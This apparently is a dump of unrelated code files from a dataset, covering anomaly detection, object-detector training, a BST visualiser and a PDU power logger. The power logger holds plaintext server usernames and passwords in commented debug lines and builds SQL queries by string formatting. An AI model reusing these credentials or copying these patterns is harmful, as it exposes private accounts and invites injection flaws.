decisions_with_stamps\n\n\ndef detect(test_file='', config='parameters.yaml', model_file='saved_model.mdl', plotting=True):\n \"\"\"\n # Detect anomalies in the specified data from a file using pre-trained models\n :param test_file: data file containing test data in the format like:\n # time, event-crond, event-rsyslogd, event-session, event-sshd, event-su\n 2018-06-29-00, 0.147, -0.223, 0.571, -0.594, 1.298\n 2018-06-29-01, -0.215, -0.223, 0.696, -0.597, 1.443\n :param config: configuration file path, identical to the one used in training(fitting)\n :param model_file: model file containing pre-trained model(s)\n :param plotting: if True then plot the decisions on test data, no plotting if False\n :return: decisions on the test data\n \"\"\"\n print(\"INFO@IsoForest: loading cfg file...\")\n # load yaml config file\n with open(config, 'r') as cfg:\n params = yaml.load(cfg)\n\n ''' load input data config '''\n headlines = params['headlines']\n num_channels = params['num_channels']\n channel_fmt_list_py3 = [] # data format\n channel_fmt_list_py2 = []\n for ch in params['data_format_py3']:\n channel_fmt_list_py3.append(tuple(ch))\n for ch in params['data_format_py2']:\n channel_fmt_list_py2.append(tuple(ch))\n\n if test_file == '': # use file path specified in config if not given as an argument\n test_file = params['data_file']\n data_rescaling = params['rescale']\n JZLogFrame_type = np.dtype(channel_fmt_list_py3)\n if sys.version_info[0] < 3: # for py2\n JZLogFrame_type = np.dtype(channel_fmt_list_py2)\n\n ''' load slotting config '''\n slot_size = params['slot_size']\n if slot_size == -1:\n slot_size = 24\n num_models = 24 / slot_size if 24 % slot_size == 0 else 24 / slot_size + 1\n\n ''' load model params '''\n model_name = params['model_name']\n trees = params['trees']\n samples_tree = params['samples_tree']\n features_tree = params['features_tree']\n cr = params['cr'] # contamination rate\n decisions_save_path = params['decision_save_path']\n model_save_path = params['model_save_path']\n\n test_data_range_lim = params['test_data_range_limit']\n # read data from the cleaned, normalized/standardized data set\n test_data = common_funcs.read_data(test_file,\n skips=headlines,\n cols=tuple(range(num_channels + 1)),\n datatype=JZLogFrame_type)\n # determine left bound and right bound\n if test_data_range_lim == [-1, -1]: # default setting in config file\n test_data_range_lim = [0, len(test_data)]\n else:\n test_data_range_lim[0] = max(test_data_range_lim[0], 0) # left bound\n test_data_range_lim[1] = min(test_data_range_lim[1], len(test_data)) # right bound\n start_date = test_data[test_data_range_lim[0]][0]\n end_date = test_data[test_data_range_lim[1] - 1][0]\n test_data = test_data[test_data_range_lim[0]: test_data_range_lim[1]]\n\n # load model(s) from file\n print(\"INFO@IsoForest: loading model(s)...\")\n with open(model_file, 'rb') as mdl:\n models = pickle.load(mdl)\n print(\"INFO@IsoForest: %d model(s) are loaded into memory...\" % len(models))\n\n # slotting\n slot_id = 0\n slots = common_funcs.get_fixed_slot_frame_sets(test_data, slot_size, True, 'date')\n glob_decisions_map = list(range(test_data_range_lim[0], test_data_range_lim[1])) # decisions map\n for slot in slots:\n time_seq = np.array(slot)[:, 0].tolist() # get timestamp sequence and transform it to hour-index sequence\n for k in range(len(time_seq)):\n time_seq[k] = common_funcs.count_hours_from_str(time_seq[k]) # convert stamp to absolute time\n time_seq[k] -= common_funcs.count_hours_from_str(start_date) # further trans to hour index starting from 0\n\n # load the corresponding slot-wise model\n isoforest = models[slot_id]\n\n # make decisions for test data in this slot\n local_decisions_map = isoforest.decision_function(np.delete(np.array(slot), 0, 1)).tolist() # timestamp stripped\n\n # mapping training_set_decisions of this slot-local model to the global decision map\n for idx in range(len(time_seq)):\n glob_decisions_map[time_seq[idx]] = local_decisions_map[idx] # store training_set_decisions\n # ready for the next slot\n slot_id += 1\n\n # plot results\n if plotting:\n plot.scatter(range(test_data_range_lim[0], test_data_range_lim[1]), glob_decisions_map, s=1 ** 2)\n plot.hlines(y=0, xmin=test_data_range_lim[0], xmax=test_data_range_lim[1], linestyles='dashed')\n plot.title(model_name + \"\\ndecision map (+/- denotes normality/anomaly)\")\n plot.xlabel('Timeline(hour)')\n plot.text(test_data_range_lim[0], 0, start_date, rotation=90)\n plot.text(test_data_range_lim[1], 0, end_date, rotation=90)\n plot.show()\n\n print(\"INFO@IsoForest: detection finished, decisions returned...\")\n return glob_decisions_map\n\n\ndef get_model_params(model_file='saved_model.mdl'):\n \"\"\"\n # return model parameters\n :param model_file: the file path where the model is saved\n :return: model parameters\n \"\"\"\n params = {}\n with open(model_file, 'rb') as mf:\n models = pickle.load(mf)\n\n params['num_models(slots)'] = len(models)\n params['models'] = models[0].get_params()\n\n return params\n\n\n### test examples\n#fit('data_std.txt', 'parameters.yaml', slotting=True, plotting=True)\n#print(detect(test_file='data_std.txt'))\n#print(get_model_params())\n\n\n","sub_path":"detect_algos/isoForest/detect_isoForest.py","file_name":"detect_isoForest.py","file_ext":"py","file_size_in_byte":12687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"559289199","text":"# 3.4 Файловый ввод/вывод\n\n\"\"\"\nНапишите программу, которая считывает текст из файла (в файле может быть больше одной строки) и выводит\nсамое частое слово в этом тексте и через пробел то, сколько раз оно встретилось. Если таких слов несколько,\nвывести лексикографически первое (можно использовать оператор < для строк).\n\nСлова, написанные в разных регистрах, считаются одинаковыми.\n\"\"\"\n\n\n# Неоптимально, но моё\ndef returnDict(string):\n lst = [str(s).lower() for s in string.split()]\n st = set(lst)\n d = dict.fromkeys(st)\n\n for s in st:\n d[s] = lst.count(s)\n\n return d\n\n\nwith open('D:\\Python\\dataset_3363_3.txt') as inf:\n resultDict = {}\n for line in inf:\n tempDict = returnDict(line.strip())\n for key in tempDict.keys():\n value = resultDict.get(key)\n if value is None:\n resultDict[key] = tempDict[key]\n else:\n resultDict[key] += int(tempDict[key])\n\n # lst = list(resultDict.values())\n # lst.sort(reverse=True)\n # maxValue = lst[0]\n\n maxValue = max(resultDict.values())\n\n lst = list()\n for key in resultDict.keys():\n value = resultDict.get(key)\n if value == maxValue:\n lst.append(key)\n lst.sort()\n print(lst[0] + ' ' + str(maxValue))\n\n\n\n# Чужое решение\n\"\"\"\nd = open('D:\\Python\\dataset_3363_3.txt').read().lower().split()\ns = {}\nfor x in d:\n s.setdefault(d.count(x), x)\nmaxKey = max(s.keys())\nprint(s.get(maxKey), \" \", maxKey)\n\"\"\"","sub_path":"3/3.4.3.py","file_name":"3.4.3.py","file_ext":"py","file_size_in_byte":1816,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"119130998","text":"import argparse\nimport logging\nimport torch\nimport pathlib\nimport numpy as np\nfrom ssd.engine.inference import do_evaluation\nfrom ssd.config.defaults import cfg\nfrom ssd.data.build import make_data_loader\nfrom ssd.engine.trainer import do_train\nfrom ssd.modeling.detector import SSDDetector\nfrom ssd.utils.checkpoint import CheckPointer\nfrom ssd.utils.logger import setup_logger\nfrom ssd import torch_utils\n\n\nfrom six.moves import urllib\nopener = urllib.request.build_opener()\nopener.addheaders = [('User-agent', 'Mozilla/5.0')]\nurllib.request.install_opener(opener)\nnp.random.seed(0)\ntorch.manual_seed(0)\n\n# Allow torch/cudnn to optimize/analyze the input/output shape of convolutions\n# To optimize forward/backward pass.\n# This will increase model throughput for fixed input shape to the network\ntorch.backends.cudnn.benchmark = True\n\n# Cudnn is not deterministic by default. Set this to True if you want\n# to be sure to reproduce your results\ntorch.backends.cudnn.deterministic = True\n\n\ndef start_train(cfg):\n logger = logging.getLogger('SSD.trainer')\n model = SSDDetector(cfg)\n model = torch_utils.to_cuda(model)\n\n if cfg.SOLVER.OPT == 'SGD':\n print('Optimizer: SGD')\n optimizer = torch.optim.SGD(\n model.parameters(),\n lr=cfg.SOLVER.LR,\n momentum=cfg.SOLVER.MOMENTUM,\n weight_decay=cfg.SOLVER.WEIGHT_DECAY\n )\n elif cfg.SOLVER.OPT == 'Adam':\n print('Optimizer: Adam')\n optimizer = torch.optim.Adam(\n model.parameters(),\n lr=cfg.SOLVER.LR\n )\n\n # Add scheduler for adjusting learning rate during training\n # found at https://www.kaggle.com/isbhargav/guide-to-pytorch-learning-rate-scheduling\n if cfg.SOLVER.LR_SCHEDULER == 'LambdaLR':\n # set lambda function\n lambda_func = lambda step: max(cfg.SOLVER.LAMBDA ** (step/1000), (cfg.SOLVER.LR_MIN/cfg.SOLVER.LR))\n scheduler = torch.optim.lr_scheduler.LambdaLR(optimizer, lr_lambda=lambda_func)\n if cfg.SOLVER.LR_SCHEDULER == 'OneCycleLR':\n scheduler = torch.optim.lr_scheduler.OneCycleLR(optimizer, max_lr=cfg.SOLVER.LR * 10,\n steps_per_epoch=1, epochs=cfg.SOLVER.MAX_ITER)\n if cfg.SOLVER.LR_SCHEDULER == 'CyclicLR':\n scheduler = torch.optim.lr_scheduler.CyclicLR(optimizer, base_lr=cfg.SOLVER.LR_MIN, max_lr=cfg.SOLVER.LR,\n step_size_up=cfg.SOLVER.STEP_SIZE, mode=\"triangular2\")\n if cfg.SOLVER.LR_SCHEDULER == 'TriangularLR':\n scheduler = torch.optim.lr_scheduler.CyclicLR(optimizer, base_lr=cfg.SOLVER.LR_MIN, max_lr=cfg.SOLVER.LR,\n step_size_up=cfg.SOLVER.STEP_SIZE, mode=\"triangular\")\n if cfg.SOLVER.LR_SCHEDULER == 'ExpCyclicLR':\n scheduler = torch.optim.lr_scheduler.CyclicLR(optimizer, base_lr=cfg.SOLVER.LR_MIN, max_lr=cfg.SOLVER.LR,\n step_size_up=cfg.SOLVER.STEP_SIZE, mode=\"exp_range\", gamma=0.9999)\n if cfg.SOLVER.LR_SCHEDULER == 'CosineAnnealingLR':\n scheduler = torch.optim.lr_scheduler.CosineAnnealingLR(optimizer,\n T_max=int(1000), eta_min=cfg.SOLVER.LR_MIN)\n if cfg.SOLVER.LR_SCHEDULER == 'MultiStepLR':\n scheduler = torch.optim.lr_scheduler.MultiStepLR(optimizer, milestones=[10000, 20000], gamma=0.1)\n arguments = {\"iteration\": 0}\n save_to_disk = True\n checkpointer = CheckPointer(\n model, optimizer, cfg.OUTPUT_DIR, save_to_disk, logger,\n )\n extra_checkpoint_data = checkpointer.load()\n arguments.update(extra_checkpoint_data)\n\n max_iter = cfg.SOLVER.MAX_ITER\n train_loader = make_data_loader(cfg, is_train=True, max_iter=max_iter, start_iter=arguments['iteration'])\n\n model = do_train(\n cfg, model, train_loader, optimizer, scheduler,\n checkpointer, arguments)\n return model\n\n\ndef get_parser():\n parser = argparse.ArgumentParser(description='Single Shot MultiBox Detector Training With PyTorch')\n parser.add_argument(\n \"config_file\",\n default=\"\",\n metavar=\"FILE\",\n help=\"path to config file\",\n type=str,\n )\n parser.add_argument(\n \"opts\",\n help=\"Modify config options using the command-line\",\n default=None,\n nargs=argparse.REMAINDER,\n )\n return parser\n\n\ndef main():\n args = get_parser().parse_args()\n cfg.merge_from_file(args.config_file)\n cfg.merge_from_list(args.opts)\n cfg.freeze()\n output_dir = pathlib.Path(cfg.OUTPUT_DIR)\n output_dir.mkdir(exist_ok=True, parents=True)\n\n logger = setup_logger(\"SSD\", output_dir)\n logger.info(args)\n\n logger.info(\"Loaded configuration file {}\".format(args.config_file))\n with open(args.config_file, \"r\") as cf:\n config_str = \"\\n\" + cf.read()\n logger.info(config_str)\n logger.info(\"Running with config:\\n{}\".format(cfg))\n\n model = start_train(cfg)\n\n logger.info('Start evaluating...')\n torch.cuda.empty_cache() # speed up evaluating after training finished\n do_evaluation(cfg, model)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"SSD/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5214,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"549356949","text":"from collections import namedtuple\nfrom copy import deepcopy\n\nclass TreeStack:\n \n def __init__(self, *keys):\n self.stack = []\n \n for key in keys:\n self.insert(key)\n \n def is_empty(self):\n return len(self.stack) == 0\n \n def peek(self):\n if not self.is_empty():\n return self.stack[-1]\n \n def pop(self):\n if not self.is_empty():\n self.stack.pop()\n\n def delete(self, node):\n if not self.is_empty():\n self._copy_top()\n self.peek().delete(node.key)\n \n def insert(self, k):\n if not self.is_empty():\n self._copy_top()\n self.peek().insert(k)\n else:\n self.stack.append(BinarySearchTree(k))\n \n def _copy_top(self):\n self.stack.append(deepcopy(self.peek()))\n \n def draw(self):\n if not self.is_empty():\n self.peek().draw()\n\nclass BinarySearchTree:\n \n def __init__(self, *keys):\n self.root = None\n self.tree_height = 0\n self.node_coordinates = {}\n self.ellipse_radius = 15\n \n if keys:\n self.insert(*keys)\n\n def find(self, key):\n node = self.root\n \n while node and node.key != key:\n if node.key < key:\n node = node.right_child\n else:\n node = node.left_child\n \n return node\n\n def insert(self, *keys):\n if not self.root:\n self.tree_height = 1\n self.root = TreeNode(keys[0])\n self._update_node_positions()\n keys = keys[1:]\n \n for key in keys:\n self._insert(key, self.root)\n \n def _insert(self, key, node):\n if key == node.key:\n return\n\n if key < node.key:\n if node.has_left_child():\n self._insert(key, node.left_child)\n else:\n node.left_child = TreeNode(key, node.index * 2 - 1,\n node.level + 1, parent=node)\n if key > node.key:\n if node.has_right_child():\n self._insert(key, node.right_child)\n else:\n node.right_child = TreeNode(key, node.index * 2,\n node.level + 1, parent=node)\n \n if node.level + 1 > self.tree_height:\n self.tree_height = node.level + 1\n \n self._update_node_positions()\n\n def delete(self, key):\n node_to_delete = self.find(key)\n\n if node_to_delete:\n self._delete(node_to_delete)\n else:\n raise KeyError('Key not in tree.')\n\n def _delete(self, node):\n if node.is_leaf():\n if node.is_root():\n self.root = None\n else:\n setattr(node.parent, node.get_node_side(), None)\n elif node.has_one_child():\n child = node.get_only_child()\n\n if node.is_root():\n child.parent = None\n self.root = child\n else:\n child.parent = node.parent\n setattr(node.parent, node.get_node_side(), child)\n else:\n succ = self._find_min(node.right_child)\n \n if succ.is_leaf():\n setattr(succ.parent, succ.get_node_side(), None)\n else:\n setattr(succ.parent, succ.get_node_side(), succ.right_child)\n \n if node.left_child:\n node.left_child.parent = succ\n if node.right_child:\n node.right_child.parent = succ\n \n succ.parent = node.parent\n succ.left_child = node.left_child\n succ.right_child = node.right_child\n \n if node.is_root():\n self.root = succ\n else:\n setattr(node.parent, node.get_node_side(), succ)\n\n self._verify_height()\n self._remove_node_coordinates(node)\n self._update_node_positions()\n\n def _verify_height(self):\n self.tree_height = max(node.level for node in preorder(self.root)) \\\n if self.root else 0\n\n def _find_min(self, node):\n return self._find_min(node.left_child) if node.has_left_child() else node\n \n def _remove_node_coordinates(self, node):\n for (k, v) in self.node_coordinates.items():\n if v is node:\n del self.node_coordinates[k]\n \n def _update_node_positions(self):\n if not self.root:\n return\n\n for node in preorder(self.root):\n if node.is_root():\n node.level = 1\n node.index = 1\n else:\n node.level = node.parent.level + 1\n node.index = node.parent.index * 2 - 1 \\\n if node.is_left_child() else node.parent.index * 2\n \n x, y = self._position(node)\n \n if (x, y) != (node.x, node.y):\n self._remove_node_coordinates(node)\n \n node.x, node.y = x, y\n self.node_coordinates.update({point_: node for \\\n point_ in get_points(node.x, node.y, *[self.ellipse_radius] * 2)}) \n\n def _position(self, node):\n return int(node.index * (width / 0.6) / (2 ** node.level + 1)), \\\n int(node.level * (height / 1.5) / self.tree_height)\n\n def draw(self):\n if not self.root:\n return\n \n self._draw(self.root)\n \n def _draw(self, node):\n \n if not node.is_leaf():\n if node.left_child:\n line(node.x, node.y, node.left_child.x, node.left_child.y)\n if node.right_child:\n line(node.x, node.y, node.right_child.x, node.right_child.y)\n \n fill(255, 255, 255, 255)\n stroke(*((255, 0, 0) if (mouseX, mouseY) in self.node_coordinates and \\\n self.node_coordinates[(mouseX, mouseY)] is node else (0, 0, 0)))\n ellipse(node.x, node.y, self.ellipse_radius, self.ellipse_radius)\n \n fill(0, 0, 0)\n stroke(0, 0, 0)\n text(node.key, node.x, node.y)\n \n if node.left_child:\n self._draw(node.left_child)\n if node.right_child:\n self._draw(node.right_child)\n \n\nclass TreeNode:\n\n def __init__(self, key, index=1, level=1, parent=None, left_child=None, right_child=None):\n self.x, self.y = 0, 0 \n self.key = key\n self.index = index\n self.level = level\n self.parent = parent\n self.left_child = left_child\n self.right_child = right_child\n\n def has_left_child(self):\n return self.left_child\n\n def has_right_child(self):\n return self.right_child\n\n def is_left_child(self):\n return self.parent and self.parent.left_child == self\n\n def is_right_child(self):\n return self.parent and self.parent.right_child == self\n\n def is_root(self):\n return not self.parent\n\n def is_leaf(self):\n return not (self.left_child or self.right_child)\n\n def has_one_child(self):\n return bool(self.left_child) ^ bool(self.right_child)\n\n def has_both_children(self):\n return self.left_child and self.right_child\n\n def get_only_child(self):\n if self.has_one_child():\n return self.left_child if self.left_child else self.right_child\n return None\n\n def get_node_side(self):\n if self.is_root():\n return None\n return 'left_child' if self.is_left_child() else 'right_child'\n\n\ndef get_points(x_val, y_val, x_radius, y_radius):\n return {(x, y) for x in get_n_range(x_val, x_radius) \\\n for y in get_n_range(y_val, y_radius)}\n\ndef get_n_range(n_val, shape_radius):\n return (n for n in range(n_val - shape_radius, n_val + shape_radius))\n\ndef preorder(node):\n if node:\n yield node\n for node_ in preorder(node.left_child):\n yield node_\n for node_ in preorder(node.right_child):\n yield node_\n","sub_path":"Wk7/tree_test/tree.py","file_name":"tree.py","file_ext":"py","file_size_in_byte":8180,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"86586791","text":"from tensorflow.contrib import predictor\nimport tensorflow as tf\nfrom tensor2tensor.utils import registry\nfrom tensor2tensor.utils import usr_dir\nimport time\nfrom test_utils import encode, gnmt_decode, make_example, split_sentence\nimport os\nfrom mosestokenizer import MosesTokenizer\nimport html\n\nflags = tf.flags\nFLAGS = flags.FLAGS\n\nflags.DEFINE_string(\"problem\", None, \"Problem name.\")\nflags.DEFINE_string(\"data_dir\", None, \"Data directory, for vocab files.\")\nflags.DEFINE_string(\"export_dir\", None, \"model directory, for vocab files.\")\nflags.DEFINE_string(\"t2t_usr_dir\", None, \"usr_dir\")\n\n\ndef make_predict_fn():\n predict_fn = predictor.from_saved_model(FLAGS.export_dir)\n return predict_fn\n\n\ndef predict(inputs_list, problem, predict_fn):\n \"\"\"Encodes inputs, makes request to deployed TF model, and decodes outputs.\"\"\"\n assert isinstance(inputs_list, list)\n fname = \"sources\"\n input_encoder = problem.feature_info[\"inputs\"].encoder\n encode_start = time.time()\n input_ids_list = [\n encode(inputs, input_encoder, add_eos=False)\n for inputs in inputs_list\n ]\n encode_end = time.time()\n examples = [make_example(input_ids, problem, fname).SerializeToString()\n for input_ids in input_ids_list]\n examples = {'input': examples}\n predict_start = time.time()\n predictions = predict_fn(examples)\n predict_end = time.time()\n output_decoder = problem.feature_info[\"targets\"].encoder\n decode_start = time.time()\n outputs = [(gnmt_decode(output, output_decoder), score)\n for output, score in zip(predictions[\"outputs\"], predictions[\"scores\"])]\n decode_end = time.time()\n encode_time = (encode_end - encode_start) * 1000\n predict_time = (predict_end - predict_start) * 1000\n decode_time = (decode_end - decode_start) * 1000\n total_time = (decode_end - encode_start) * 1000\n print_str = \"\"\"\n Batch:{batch:d} \\t\n Encode:{encode:.3f} \\t \n Prediction:{predict:.3f} \\t \n Decode:{decode:.3f} \\t\n Total:{total:.3f}\n \"\"\"\n print(print_str.format(batch=len(outputs),\n encode=encode_time,\n predict=predict_time,\n decode=decode_time,\n total=total_time))\n\n return outputs\n\n\ndef main(_):\n tf.logging.set_verbosity(tf.logging.INFO)\n usr_dir.import_usr_dir(FLAGS.t2t_usr_dir)\n problem = registry.problem(FLAGS.problem)\n hparams = tf.contrib.training.HParams(\n data_dir=os.path.expanduser(FLAGS.data_dir))\n problem.get_hparams(hparams)\n predict_fn = make_predict_fn()\n tokenizer = MosesTokenizer(\"en\")\n while True:\n inputs = input(\">> \")\n inputs = split_sentence(inputs)\n inputs = list(map(tokenizer, inputs))\n inputs = list(map(lambda input: html.unescape(\" \".join(input).replace(\"@-@\", \"-\")), inputs))\n outputs = predict(inputs, problem, predict_fn)\n outputs = list(map(lambda x: x[0], outputs))\n print_str = \"\"\"\nInput:\n{inputs}\n\nOutput:\n{output}\n \"\"\"\n print(print_str.format(inputs=\"\\n\".join(inputs), output=\"\\n\".join(outputs)))\n\n\nif __name__ == \"__main__\":\n flags.mark_flags_as_required([\"problem\", \"data_dir\"])\n tf.app.run()\n","sub_path":"test/gnmt.py","file_name":"gnmt.py","file_ext":"py","file_size_in_byte":3231,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"190582000","text":"import qualipy.api.cloudshell_api as api\nimport qualipy.scripts.cloudshell_dev_helpers as dh\nimport os\nimport pymssql\nimport json\nimport time\nimport executionServerConverter\n\n\nclass power_log_entry():\n def __init__(self, power_port, cs_Resource, timestamp, energy_read, domain):\n self.Power_port = power_port\n self.cs_Resource = cs_Resource\n self.timestamp = timestamp\n self.energy_read = energy_read\n self.domain = domain\n\ndef _create_dict_struct(switch_type, name, address, Community, Reservation_Id, domain):\n dict_struct = {\n 'Switch_Type' : switch_type,\n 'Name' : name,\n 'Address' : address,\n 'Community' : Community,\n 'Reservation_Id' : Reservation_Id,\n 'Domain': domain\n }\n return dict_struct\n\ndef updateDB():\n # Production\n reservation_details = json.loads(os.environ[\"RESERVATIONCONTEXT\"])\n resource_context = json.loads(os.environ['RESOURCECONTEXT'])\n connectivity_details = json.loads(os.environ[\"QUALICONNECTIVITYCONTEXT\"])\n\n\n\n username = connectivity_details['adminUser']\n password = connectivity_details['adminPass']\n server = connectivity_details['serverAddress']\n domain = reservation_details['domain']\n\n # cisco Debug\n # username = 'yekshtei'\n # password = 'Zoidberg19'\n # server = 'q1.cisco.com'\n # domain = 'Global'\n\n # production\n session = api.CloudShellAPISession(server, username, password, domain)\n\n # cisco debug\n # debug_res_id = '412f10d4-59d4-4490-bd0e-fd50ad7a377d'\n # dh.attach_to_cloudshell_as(username, password, domain, debug_res_id, server)\n # reservation_details = {}\n # reservation_details['id'] = debug_res_id\n\n # Production\n SQL_Server = resource_context['attributes']['PDU_SQL_DB_address']\n SQL_Username = resource_context['attributes']['User']\n SQL_Password = session.DecryptPassword(resource_context['attributes']['Password']).Value\n SQL_Database = resource_context['attributes']['PDU_SQL_DB']\n SQL_TableName = resource_context['attributes']['PDU_SQL_table']\n\n # cisco DB debug\n # SQL_Server = 'qdb.cisco.com'\n # SQL_Username = 'Cisco\\quali.gen'\n # SQL_Password = 'Password3'\n # SQL_Database = 'Power_Reports'\n # SQL_TableName = 'PowerData'\n\n # local DB debug\n # SQL_Server = 'localhost'\n # SQL_Username = 'Qualisystems\\yoav.e'\n # SQL_Password = 'treW2345'\n # SQL_Database = 'Power_Reports'\n # SQL_TableName = 'PowerData'\n\n conn = pymssql.connect(server=SQL_Server, user=SQL_Username, password=SQL_Password, database=SQL_Database)\n cursor = conn.cursor()\n\n # session.WriteMessageToReservationOutput\\\n # (reservation_details['id'], session.DecryptPassword(resource_context['attributes']['passq']).Value)\n # session.WriteMessageToReservationOutput(reservation_details['id'], e)\n\n PDUs = list()\n log_entries = list()\n pdus_dict = {}\n listOfSwitches = session.FindResources(resourceFamily=\"Power Controller\")\n for u, switch in enumerate(listOfSwitches.Resources):\n try:\n switch_domain = session.GetResourceDetails(switch.Name).Domains[0].Name\n except:\n switch_domain = ''\n switch_type = ''\n if switch.ResourceModelName == 'Raritan PX2':\n switch_type = 'PX2'\n elif switch.ResourceModelName == 'Raritan PX':\n switch_type = 'PX1'\n struct_data = _create_dict_struct(switch_type,\n switch.Name,\n switch.Address,\n session.GetAttributeValue(switch.Name, 'SNMP Read Community').Value,\n reservation_details['id'],\n switch_domain)\n struct_data_str = json.dumps(struct_data)\n if switch_type != '':\n # PDU = PXSnmp.Gather_PX_Data(struct_data)\n command = []\n command.append(api.InputNameValue('json_data_payload', struct_data_str))\n attr_request = api.InputNameValue('Execution Server Selector',\n executionServerConverter.convert_domain_to_execution_server_selector(switch_domain))\n session.WriteMessageToReservationOutput(reservation_details['id'], struct_data_str)\n session.SetServiceAttributesValues(reservation_details['id'],\n 'DB Updater',\n [attr_request])\n time.sleep(2)\n if switch_domain != 'CSOG':\n PDU = session.ExecuteCommand(reservation_details['id'],\n 'DB Updater',\n 'Service',\n 'snmp_action',\n command)\n else:\n continue\n if not PDU.Output.__contains__('data gathering failed.'):\n try:\n PDU = json.loads(PDU.Output)\n except:\n pass\n if PDU:\n PDUs.append(PDU)\n session.WriteMessageToReservationOutput(reservation_details['id'], switch.Name + \"Got power reading\")\n else:\n continue\n else:\n continue\n else:\n continue\n for port in session.GetResourceDetails(switch.Name).ChildResources:\n if port.Connections:\n session.WriteMessageToReservationOutput(reservation_details['id'], port.Name)\n session.WriteMessageToReservationOutput(reservation_details['id'], PDUs[PDUs.__len__() - 1][port.Address])\n try:\n energy_use = PDUs[PDUs.__len__() - 1][port.Address]\n str_time = time.strftime('%Y-%m-%d %H:%M:%S')\n CS_resource_name = port.Connections[0].FullPath.split('/')[0]\n try:\n CS_Domain = \"'\" + (session.GetResourceDetails(CS_resource_name).Domains[0].Name) + \"'\"\n except Exception as e:\n CS_Domain = ''\n except:\n continue\n log_entries.append(power_log_entry(port.Name, CS_resource_name, str_time, energy_use, CS_Domain))\n attr_request = api.InputNameValue('Execution Server Selector', 'Local')\n session.SetServiceAttributesValues(reservation_details['id'],\n 'DB Updater',\n [attr_request])\n time.sleep(2)\n session.WriteMessageToReservationOutput(reservation_details['id'], 'got here')\n for entry in log_entries:\n session.WriteMessageToReservationOutput(reservation_details['id'], 'got here - in query')\n query = \"INSERT INTO \" + SQL_TableName + \" (PowerPort, CloudShellResource, TimeStamp, EnergyRead, Domain) VALUES ('{0}', '{1}', '{2}', {3}, {4})\"\\\n .format(entry.Power_port, entry.cs_Resource, entry.timestamp, entry.energy_read, entry.domain)\n session.WriteMessageToReservationOutput(reservation_details['id'], query)\n try:\n cursor.execute(query)\n except Exception as e:\n print(e)\n session.WriteMessageToReservationOutput(reservation_details['id'], e.message)\n session.WriteMessageToReservationOutput(reservation_details['id'], query)\n continue\n conn.commit()\n conn.close()\n\n\n","sub_path":"PowerReports_Driver/getfiles.py","file_name":"getfiles.py","file_ext":"py","file_size_in_byte":7510,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"170196331","text":"from cdiagrams.protocol2 import Protocol2\n\nprotocol = Protocol2(900, 170)\nparties = []\nparties.append(\"Sender \\n chooses random x from Z_q \\n (h = g^a % p; values p, q, g, h are public, a is secret)\")\nparties.append(\"Verifier\")\n\nconnections = []\nconnections.append(\"c = (g^x * h^r) % p\")\n\nprotocol.draw_protocol(parties, connections, box_height=100)\nprotocol.save(\"../img/pedersen_commit.png\")\n\n\n\n\n\n","sub_path":"test1/pedersen_commit.py","file_name":"pedersen_commit.py","file_ext":"py","file_size_in_byte":399,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"380451057","text":"from cloudify import ctx\nfrom cloudify.exceptions import *\n\ndef reset_log_indentation():\n ctx.source.instance.runtime_properties['indent'] = 0\n\ndef get_log_indentation():\n if 'indent' in ctx.source.instance.runtime_properties:\n return '\\t'*ctx.source.instance.runtime_properties['indent']\n else:\n return ''\n\ndef increase_log_indentation():\n ctx.source.instance.runtime_properties['indent'] += 1\n\ndef decrease_log_indentation():\n ctx.source.instance.runtime_properties['indent'] -= 1\n\ndef get_child(dictionary, key, required=False, debug=False):\n child = None\n if key not in dictionary:\n msg = '{0} Required key \"{1}\" not defined!'.format(get_log_indentation(), str(key))\n if required:\n raise NonRecoverableError(msg)\n else:\n ctx.logger.debug(msg)\n else:\n ctx.logger.debug('{0} Obtaining key \"{1}\"'.format(get_log_indentation(), str(key)))\n child = dictionary[key]\n return child\n\ndef create_child(dictionary, key, value):\n child = get_child(dictionary=dictionary, key=key, required=False)\n if child is None:\n msg = '{0} New key \"{1}\" defined!'.format(get_log_indentation(), str(key))\n ctx.logger.debug(msg)\n dictionary[key] = value\n child = dictionary[key]\n return child\n","sub_path":"plugin/relationships/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"457220251","text":"\"\"\"\nProblem:\n\nGiven a list of numbers L, implement a method sum(i, j) which returns the sum from the sublist L[i:j] (including i, excluding j).\nYou can assume that you can do some pre-processing. sum() should be optimized over the pre-processing step.\n\n\nEXAMPLE:\n\nInput = [1, 2, 3, 4, 5], 1, 3 \nOutput = 5 (sum([2, 3]))\n\"\"\"\n\n# class to optimize the array and perform the sum over range\nclass SubarraySumOptimizer:\n # default initialization function\n def __init__(self, arr):\n # creating a preprocessed array\n self.preprocessed_arr = [0 for _ in range(len(arr) + 1)]\n # sum current stores the sum till the current element\n sum_curr = 0\n\n # preprocessing the array\n for i in range(len(arr)):\n sum_curr += arr[i]\n self.preprocessed_arr[i + 1] = sum_curr\n\n # FUNCTION TO PERFORM THE OPERATION\n def sum(self, start, end):\n # checking if the query is valid, returns 0 for invalid query\n if (start < 0) or (end > len(self.preprocessed_arr) - 1) or (start > end):\n return 0\n\n # returning the difference (as the array has been preprocessed)\n return self.preprocessed_arr[end] - self.preprocessed_arr[start]\n\n\n# DRIVER CODE\nsso = SubarraySumOptimizer([1, 2, 3, 4, 5])\n\nprint(sso.sum(1, 3))\nprint(sso.sum(0, 5))\nprint(sso.sum(0, 4))\nprint(sso.sum(3, 4))\nprint(sso.sum(3, 3))\n","sub_path":"Solutions/149.py","file_name":"149.py","file_ext":"py","file_size_in_byte":1379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"63"} +{"seq_id":"436803085","text":"import cv2\r\nimport numpy as np\r\n\r\nimg = 